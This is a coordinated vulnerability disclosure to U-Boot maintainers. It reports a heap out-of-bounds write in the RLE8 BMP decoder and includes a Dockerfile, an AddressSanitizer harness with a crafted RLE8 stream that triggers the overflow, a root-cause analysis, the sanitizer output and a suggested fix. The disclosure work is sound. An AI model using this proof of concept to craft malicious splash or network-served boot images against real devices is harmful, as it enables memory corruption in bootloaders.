Hello U-Boot maintainers,
I'd like to report a High-severity security issue in U-Boot
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible heap overflow
in U-Boot's RLE8 BMP decoder.
I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 && \
rm -rf /var/lib/apt/lists/*
ENV PIN=ece349ade2973e220f524ce59e59711cc919263f
WORKDIR /src
# Clone the real upstream tree and pin to the exact commit under test.
RUN git clone --filter=blob:none https://github.com/u-boot/u-boot.git . && \
git fetch --depth 1 origin "$PIN" && \
git checkout FETCH_HEAD && \
test "$(git rev-parse HEAD)" = "$PIN" || \
(echo "HEAD does not match pin $PIN" && exit 1)
WORKDIR /poc
COPY driver.c /poc/driver.c
# Extract the REAL decoder verbatim from the pinned source. Lines 20-214 of
# drivers/video/video_bmp.c span get_bmp_col_16bpp() through the end of
# video_display_rle8_bitmap(), i.e. every function the harness executes.
RUN sed -n '20,214p' /src/drivers/video/video_bmp.c > /poc/extracted.inc && \
grep -q 'video_display_rle8_bitmap' /poc/extracted.inc && \
grep -q 'static void write_pix8' /poc/extracted.inc && \
echo "extracted $(wc -l < /poc/extracted.inc) lines from video_bmp.c"
# ASan + UBSan; abort on first error so the positive control is unmistakable.
RUN gcc -O1 -g -fno-omit-frame-pointer \
-fsanitize=address -fsanitize=undefined \
driver.c -o /poc/poc
# Widen the redzone so the 240-byte under-rewind lands inside a monitored
# left redzone and is reported as a heap-buffer-overflow rather than a wild
# SEGV on unmapped shadow.
ENV
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:halt_on_error=1:redzone=512:max_redzone=2048
CMD echo "committed pin: $PIN" && \
echo "checked-out : $(git -C /src rev-parse HEAD)" && \
echo && \
/poc/poc
/*
* Focused ASan harness driving the REAL U-Boot RLE8 BMP framebuffer decoder.
*
* The functions get_bmp_col_16bpp(), get_bmp_col_x2r10g10b10(),
* get_bmp_col_rgba8888(), write_pix8(), draw_unencoded_bitmap(),
* draw_encoded_bitmap() and video_display_rle8_bitmap() are NOT defined here.
* They are extracted verbatim at build time from the pinned upstream file
* drivers/video/video_bmp.c into extracted.inc, which is #included below.
*
* This file supplies only the minimal, faithful shims the extracted code
* needs: the little-endian accessor, the BMP layout / video types, and the
* uclass-priv plumbing. It then drives the real decoder with an honest RLE8
* stream (negative control) and an over-rewinding RLE8 stream (positive),
* each in its own process so the positive ASan report is a clean left-redzone
* heap-buffer-overflow.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
/* ---- typedefs matching U-Boot's kernel-style names ---- */
typedef unsigned char uchar;
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef unsigned long ulong;
typedef unsigned int uint;
/* ---- BMP RLE8 escape opcodes (verbatim from video_bmp.c L15-L18) ---- */
#define BMP_RLE8_ESCAPE 0
#define BMP_RLE8_EOL 0
#define BMP_RLE8_EOBMP 1
#define BMP_RLE8_DELTA 2
/* ---- include/bmp_layout.h: colour-table entry (field order matches) ---- */
struct __attribute__((packed)) bmp_color_table_entry {
u8 blue;
u8 green;
u8 red;
u8 reserved;
};
/* Minimal BMP header: only data_offset is read by the decoder, but the
* leading fields are laid out faithfully so &header.data_offset sits where
* the real struct puts it. */
struct __attribute__((packed)) bmp_header {
char signature[2];
u32 file_size;
u32 reserved;
u32 data_offset;
};
struct bmp_image {
struct bmp_header header;
};
/* ---- include/video.h: enum video_format (verbatim order) ---- */
enum video_format {
VIDEO_UNKNOWN,
VIDEO_RGBA8888,
VIDEO_X8B8G8R8,
VIDEO_X8R8G8B8,
VIDEO_X2R10G10B10,
};
/* Subset of struct video_priv actually touched by the extracted decoder. */
struct video_priv {
uint line_length;
uint xsize;
uint ysize;
enum video_format format;
void *fb;
};
struct udevice {
struct video_priv *priv;
};
static inline struct video_priv *dev_get_uclass_priv(struct udevice *dev)
{
return dev->priv;
}
static inline u32 get_unaligned_le32(const void *p)
{
const u8 *b = p;
return (u32)b[0] | ((u32)b[1] << 8) |
((u32)b[2] << 16) | ((u32)b[3] << 24);
}
#define debug(...) do { } while (0)
/* ---- the real, unmodified decoder ---- */
#include "extracted.inc"
/* --------------------------------------------------------------------- */
#define WIDTH 16
#define HEIGHT 16
#define BPIX 8
#define LINE_LENGTH 16 /* xsize * bytes_per_pixel */
#define FB_SIZE (HEIGHT * LINE_LENGTH) /* 256 bytes */
/*
* Build a bmp_image whose data_offset points at a caller-supplied RLE8 stream,
* set up an under-sized heap framebuffer, and invoke the real decoder exactly
* as video_bmp_display() would (fb = start - line_length, x_off = y_off = 0).
*/
static void run_case(const char *label, const u8 *stream, size_t stream_len,
int eol_count, long expected_fb_off)
{
const size_t hdr = sizeof(struct bmp_header);
u8 *img = malloc(hdr + stream_len);
struct bmp_image *bmp = (struct bmp_image *)img;
memset(img, 0, hdr);
bmp->header.signature[0] = 'B';
bmp->header.signature[1] = 'M';
/* data_offset (le32) -> the RLE8 stream */
img[10] = (u8)hdr;
img[11] = (u8)(hdr >> 8);
img[12] = (u8)(hdr >> 16);
img[13] = (u8)(hdr >> 24);
memcpy(img + hdr, stream, stream_len);
/* Minimal palette; unused on the bpix==8 raw-byte path. */
struct bmp_color_table_entry palette[4];
memset(palette, 0, sizeof(palette));
u8 *framebuffer = malloc(FB_SIZE);
memset(framebuffer, 0, FB_SIZE);
struct video_priv priv;
priv.line_length = LINE_LENGTH;
priv.xsize = WIDTH;
priv.ysize = HEIGHT;
priv.format = VIDEO_UNKNOWN;
priv.fb = framebuffer;
struct udevice dev = { .priv = &priv };
/* Mirror the caller: start = fb + (y+height)*line_length + x*bpp,
* then fb = start - line_length, with x = y = 0. */
uchar *fb = (uchar *)priv.fb + (HEIGHT - 1) * LINE_LENGTH;
printf("== %s ==\n", label);
printf(" framebuffer : malloc(%d) heap region [fb .. fb+%d)\n",
FB_SIZE, FB_SIZE);
printf(" fb start : priv->fb + %d (last scanline)\n",
(HEIGHT - 1) * LINE_LENGTH);
printf(" EOL tokens : %d\n", eol_count);
printf(" computed fb off: priv->fb %+ld after the EOLs\n",
expected_fb_off);
printf(" expectation : %s\n",
expected_fb_off < 0 ? "OUT of bounds (below priv->fb)"
: "in bounds");
fflush(stdout);
video_display_rle8_bitmap(&dev, bmp, BPIX, palette, fb, 0, 0,
WIDTH, HEIGHT);
printf(" --> decoder returned without a fault (in bounds)\n\n");
fflush(stdout);
free(framebuffer);
free(img);
}
/* Fork so an ASan abort in one case does not stop the others. */
static void fork_case(const char *label, const u8 *stream, size_t len,
int eol_count, long expected_fb_off)
{
pid_t pid = fork();
if (pid == 0) {
run_case(label, stream, len, eol_count, expected_fb_off);
_exit(0);
}
int status = 0;
waitpid(pid, &status, 0);
if (WIFSIGNALED(status)) {
printf(">>> %s: child terminated by signal %d "
"(ASan abort)\n\n", label, WTERMSIG(status));
fflush(stdout);
} else if (WIFEXITED(status)) {
printf(">>> %s: child exited %d\n\n", label,
WEXITSTATUS(status));
fflush(stdout);
}
}
int main(void)
{
printf("##### pin #####\n");
printf("ece349ade2973e220f524ce59e59711cc919263f\n\n");
fflush(stdout);
/*
* NEGATIVE control (honest stream): each of 16 rows draws a full
* width (encoded run 0x10 0x03 = 16 px of index 3) then an EOL.
* Each row advances fb by +16 then the EOL rewinds 16+16 = 32, a net
* -16 = -line_length, i.e. exactly one scanline up. Stays in bounds.
*/
u8 neg[16 * 4 + 2];
{
size_t n = 0;
for (int r = 0; r < 16; r++) {
neg[n++] = 0x10; /* runlen 16 */
neg[n++] = 0x03; /* palette index / raw byte */
neg[n++] = 0x00; /* ESCAPE */
neg[n++] = 0x00; /* EOL */
}
neg[n++] = 0x00; /* ESCAPE */
neg[n++] = 0x01; /* EOBMP */
fork_case("NEGATIVE CONTROL: honest RLE8 stream",
neg, n, 16, 0);
}
/*
* POSITIVE (crafted stream): 15 EMPTY EOLs (no draw between them, so
* x stays 0) drive fb to priv->fb + 15*16 - 15*(16+16) = -240 while
* y counts down to 0 (still 0 < height) and x stays 0 (still
* 0 < width). A single encoded run then writes 8 bytes at priv->fb
* - 240: a heap-buffer-overflow WRITE below the framebuffer.
*/
u8 pos[15 * 2 + 4];
{
size_t n = 0;
for (int e = 0; e < 15; e++) {
pos[n++] = 0x00; /* ESCAPE */
pos[n++] = 0x00; /* EOL (empty row) */
}
pos[n++] = 0x08; /* encoded run, runlen 8 */
pos[n++] = 0x03; /* palette index / raw byte */
pos[n++] = 0x00; /* ESCAPE */
pos[n++] = 0x01; /* EOBMP */
fork_case("POSITIVE: 15 empty EOLs over-rewind fb, then a run",
pos, n, 15, -240);
}
return 0;
}
# A crafted RLE8 BMP boot-menu background or splash image drives an out-of-bounds framebuffer write in U-Boot's bitmap decoder
U-Boot's RLE8 BMP decoder rewinds the framebuffer pointer at every end-of-line escape by a fixed `width * bytes_per_pixel + line_length`, regardless of how many pixels the current row actually drew. When a row is ended while the column is still zero, an empty end-of-line, the pointer was never advanced by the row, so each such escape over-rewinds the framebuffer by an extra `width * bytes_per_pixel`. The decode loop guards the following draw only against the logical position (`y < height` and `x < width`), and because those counters stay in range while the pointer marches below the start of the framebuffer, the guard is satisfied and the next run is drawn. After roughly `height` empty end-of-line tokens the framebuffer pointer sits about `(height - 1) * width * bytes_per_pixel` bytes below `priv->fb`, and the following encoded or unencoded run writes attacker-controlled palette bytes there, an out-of-bounds write below the framebuffer. The rewind distance is attacker-controlled through the BMP header width and height (clamped only to the panel size) and the number of end-of-line tokens, and the written content is attacker-controlled (for an 8bpp target the raw stream byte is written directly). When the image is an auto-displayed splash the vector is physical or local, but the same decoder runs on an RLE8 BMP used as a PXE or sysboot boot-menu background fetched over the network from an attacker-controlled or man-in-the-middle TFTP or HTTP source, giving a network vector. The flaw was confirmed with an AddressSanitizer proof of concept driving the real extracted decoder. The path is gated on `CONFIG_VIDEO_BMP_RLE8`, which is a reachability note rather than a severity reduction.
## Root cause
The end-of-line escape unconditionally moves the framebuffer pointer up by one whole row worth of pixels plus one scanline stride, no matter what the current column is.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/drivers/video/video_bmp.c#L146-L155
```c
if (bmap[0] == BMP_RLE8_ESCAPE) {
switch (bmap[1]) {
case BMP_RLE8_EOL:
/* end of line */
bmap += 2;
x = 0;
y--;
fb -= width * bytes_per_pixel +
priv->line_length;
break;
```
In an honest stream a full row of `width` pixels has just been drawn, so `fb` was advanced by `width * bytes_per_pixel` and the net move is exactly `-line_length`, one scanline up, which is correct. But nothing forces a full row to have been drawn. If the row is ended with the column still at zero, an empty end-of-line, `fb` was never advanced, so this subtraction over-rewinds `fb` by an extra `width * bytes_per_pixel`. The loop has no bounds check on `bmap` at all; it only stops on the explicit end-of-bitmap escape, so the number of end-of-line tokens is entirely attacker-chosen.
The only guard on the subsequent draw is the logical position. Both the encoded and the unencoded run paths gate the draw on `y < height` and `x < width`, then call the draw helpers, which walk `fb` forwards and write.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/drivers/video/video_bmp.c#L169-L211
```c
default:
/* unencoded run */
runlen = bmap[1];
bmap += 2;
if (y < height) {
if (x < width) {
if (x + runlen > width)
cnt = width - x;
else
cnt = runlen;
draw_unencoded_bitmap(
&fb, bpix, eformat,
bmap, palette, cnt);
}
x += runlen;
}
bmap += runlen;
if (runlen & 1)
bmap++;
}
} else {
/* encoded run */
if (y < height) {
runlen = bmap[0];
if (x < width) {
......
draw_encoded_bitmap(&fb, bpix, eformat,
palette, &bmap[1],
cnt);
}
x += runlen;
}
bmap += 2;
}
```
`x` and `y` are declared `int`, while `width` and `height` are `ulong`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/drivers/video/video_bmp.c#L133-L143
```c
ulong cnt, runlen;
int x, y;
int decode = 1;
uint bytes_per_pixel = bpix / 8;
enum video_format eformat = priv->format;
......
x = 0;
y = height - 1;
```
This `int` versus `ulong` mix is exactly why the pointer, not the logical position, is the primitive. If a counter went negative it would be promoted to a huge unsigned value and fail the `y < height` or `x < width` test, so the logical guards do block negative logical positions. But an empty end-of-line leaves `x` at 0 and merely decrements `y`, so both counters stay legitimately in range (`0 <= y < height`, `x == 0`) while `fb` has been driven far below `priv->fb`. The guard sees a valid logical cell and permits the draw; the pointer it draws through is out of bounds.
The eventual write is a plain forward store in the draw helper, and for an 8bpp target it is the raw stream byte, so both the location and the content are attacker-controlled.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/drivers/video/video_bmp.c#L68-L72
```c
static void write_pix8(u8 *fb, uint bpix, enum video_format eformat,
struct bmp_color_table_entry *palette, u8 *bmap)
{
if (bpix == 8) {
*fb++ = *bmap;
```
The width and height that scale the rewind come straight from the BMP header as little-endian header fields, which is attacker data.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/drivers/video/video_bmp.c#L245-L252
```c
void video_bmp_get_info(void *bmp_image, ulong *widthp, ulong *heightp,
uint *bpixp)
{
struct bmp_image *bmp = bmp_image;
*widthp = get_unaligned_le32(&bmp->header.width);
*heightp = get_unaligned_le32(&bmp->header.height);
*bpixp = get_unaligned_le16(&bmp->header.bit_count);
}
```
The caller clamps those values only against the panel dimensions, then sets up the starting framebuffer pointer as one scanline above the bottom-left of the drawing region. It never validates the RLE stream against the declared geometry.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/drivers/video/video_bmp.c#L320-L330
```c
if ((x + width) > pwidth)
width = pwidth - x;
if ((y + height) > priv->ysize)
height = priv->ysize - y;
bmap = (uchar *)bmp + get_unaligned_le32(&bmp->header.data_offset);
start = (uchar *)(priv->fb +
(y + height) * priv->line_length + x * bpix / 8);
/* Move back to the final line to be drawn */
fb = start - priv->line_length;
```
For an 8bpp BMP whose compression field is `BMP_BI_RLE8` the caller dispatches straight into the vulnerable decoder with that unvalidated `fb`, `width` and `height`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/drivers/video/video_bmp.c#L335-L343
```c
if (CONFIG_IS_ENABLED(VIDEO_BMP_RLE8)) {
u32 compression = get_unaligned_le32(
&bmp->header.compression);
debug("compressed %d %d\n", compression, BMP_BI_RLE8);
if (compression == BMP_BI_RLE8) {
video_display_rle8_bitmap(dev, bmp, bpix, palette, fb,
x, y, width, height);
break;
}
}
```
There is a secondary off-by-one in the delta escape at L160 to L168, where `fb = priv->fb + (y + y_off - 1) * line_length + (x + x_off) * bytes_per_pixel` underflows one scanline when `y` and `y_off` are both zero, but the end-of-line over-rewind above is the stronger, distance-controllable primitive and is the one exercised below.
## Proof of Concept
The reproducer extracts the real `write_pix8()`, `draw_unencoded_bitmap()`, `draw_encoded_bitmap()` and `video_display_rle8_bitmap()` verbatim at build time from the pinned `drivers/video/video_bmp.c` and executes them; only the leaf shims the decoder needs (the little-endian accessor, the BMP and video types matching `include/bmp_layout.h` and `include/video.h`, and the uclass-priv plumbing) are supplied by the driver. The framebuffer is a 256-byte heap allocation (`xsize = width = 16`, `ysize = height = 16`, 8bpp, so `line_length = 16`), and the decoder is entered with `fb = priv->fb + (height - 1) * line_length`, exactly mirroring the caller's `start - line_length` with zero offsets. The network and splash delivery, the header-derived width and height, the panel-only clamp and the RLE8 dispatch are cited from the source above, not executed. The build fails unless the checked-out HEAD is exactly the pinned commit. The negative control feeds an honest stream (each of 16 rows draws a full 16-pixel run then an end-of-line, so each row nets `-line_length`, one scanline up) and stays in bounds. The positive feeds 15 empty end-of-line tokens with no draw between them, then a single encoded run: after the 15 empty escapes `y` has reached 0 (still `0 < 16`) and `x` is still 0 (still `0 < 16`), while `fb` has been rewound to `priv->fb + 15 * 16 - 15 * (16 + 16) = priv->fb - 240`, and the run then writes there. AddressSanitizer's redzone is widened so the 240-byte under-rewind lands inside a monitored left redzone and is reported as a heap-buffer-overflow rather than a wild fault on unmapped shadow.
```
docker build -t poc-video-rle8 . && docker run --rm poc-video-rle8
```
### Result
```
committed pin: ece349ade2973e220f524ce59e59711cc919263f
checked-out : ece349ade2973e220f524ce59e59711cc919263f
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
== NEGATIVE CONTROL: honest RLE8 stream ==
framebuffer : malloc(256) heap region [fb .. fb+256)
fb start : priv->fb + 240 (last scanline)
EOL tokens : 16
computed fb off: priv->fb +0 after the EOLs
expectation : in bounds
--> decoder returned without a fault (in bounds)
>>> NEGATIVE CONTROL: honest RLE8 stream: child exited 0
== POSITIVE: 15 empty EOLs over-rewind fb, then a run ==
framebuffer : malloc(256) heap region [fb .. fb+256)
fb start : priv->fb + 240 (last scanline)
EOL tokens : 15
computed fb off: priv->fb -240 after the EOLs
expectation : OUT of bounds (below priv->fb)
=================================================================
==10==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x516000000110 at pc 0x55d868cd9f0a bp 0x7ffcd32ce7c0 sp 0x7ffcd32ce7b0
WRITE of size 1 at 0x516000000110 thread T0
#0 0x55d868cd9f09 in write_pix8 /poc/extracted.inc:53
#1 0x55d868cd9f09 in draw_encoded_bitmap /poc/extracted.inc:99
#2 0x55d868cd9f09 in video_display_rle8_bitmap /poc/extracted.inc:186
#3 0x55d868cd9f09 in run_case /poc/driver.c:164
#4 0x55d868cd9f09 in fork_case /poc/driver.c:181
#5 0x55d868cdad9f in main /poc/driver.c:243
#6 0x7f09ab1da1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x7f09ab1da28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x55d868cd8464 in _start (/poc/poc+0x5464) (BuildId: e320e791e13628d9ce59797b1d20e677fa1aa05d)
0x516000000110 is located 240 bytes before 256-byte region [0x516000000200,0x516000000300)
allocated by thread T0 here:
#0 0x7f09abad59c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x55d868cd8920 in run_case /poc/driver.c:135
#2 0x55d868cd8920 in fork_case /poc/driver.c:181
#3 0x55d868cdad9f in main /poc/driver.c:243
#4 0x7f09ab1da1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x7f09ab1da28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x55d868cd8464 in _start (/poc/poc+0x5464) (BuildId: e320e791e13628d9ce59797b1d20e677fa1aa05d)
SUMMARY: AddressSanitizer: heap-buffer-overflow /poc/extracted.inc:53 in write_pix8
Shadow bytes around the buggy address:
0x515ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x515fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x515fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x516000000000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x516000000080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x516000000100: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x516000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x516000000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x516000000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x516000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x516000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==10==ABORTING
>>> POSITIVE: 15 empty EOLs over-rewind fb, then a run: child terminated by signal 6 (ASan abort)
```
The negative control, an honest stream in which every row draws its full width before the end-of-line, stays entirely inside the framebuffer and the real decoder returns cleanly, so the positive result is not a harness artefact: the same code, the same framebuffer and the same entry pointer are exercised, and only the RLE token sequence differs. The positive stream ends 15 rows while the column is still zero, so the fixed end-of-line rewind over-shoots and the following run writes at `priv->fb - 240`; AddressSanitizer reports a WRITE of size 1 located 240 bytes before the 256-byte framebuffer region, at the real `write_pix8()` reached through the real `draw_encoded_bitmap()` and `video_display_rle8_bitmap()`, and the process aborts. The distance is attacker-scalable: it is set by the header width and height (bounded only by the panel) and by the number of end-of-line tokens, so larger geometries move the write proportionally further below the framebuffer, and for the 8bpp target the written bytes are taken directly from the stream. Reaching this code requires a build with `CONFIG_VIDEO_BMP_RLE8` and an 8bpp RLE8 BMP; the delivery is either an auto-displayed splash image (physical or local) or, for the network vector, an RLE8 BMP served as a PXE or sysboot boot-menu background from an attacker-controlled or man-in-the-middle TFTP or HTTP source.
## Mitigation
At the end-of-line escape, advance the framebuffer pointer by the number of bytes actually written in the row rather than always subtracting `width * bytes_per_pixel + line_length`. Track the row's starting pointer and reset to `row_start - line_length` on end-of-line, so a short or empty row does not over-rewind. In addition, validate the computed `fb` against the half-open range `[priv->fb, priv->fb + ysize * line_length)` before every draw and before every escape reposition, including the delta branch, and reject the image if the pointer falls outside it. Finally, bound `bmap` against the actual BMP image size in the decode loop so the token stream cannot run past the supplied image. These changes belong in `drivers/video/video_bmp.c`.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.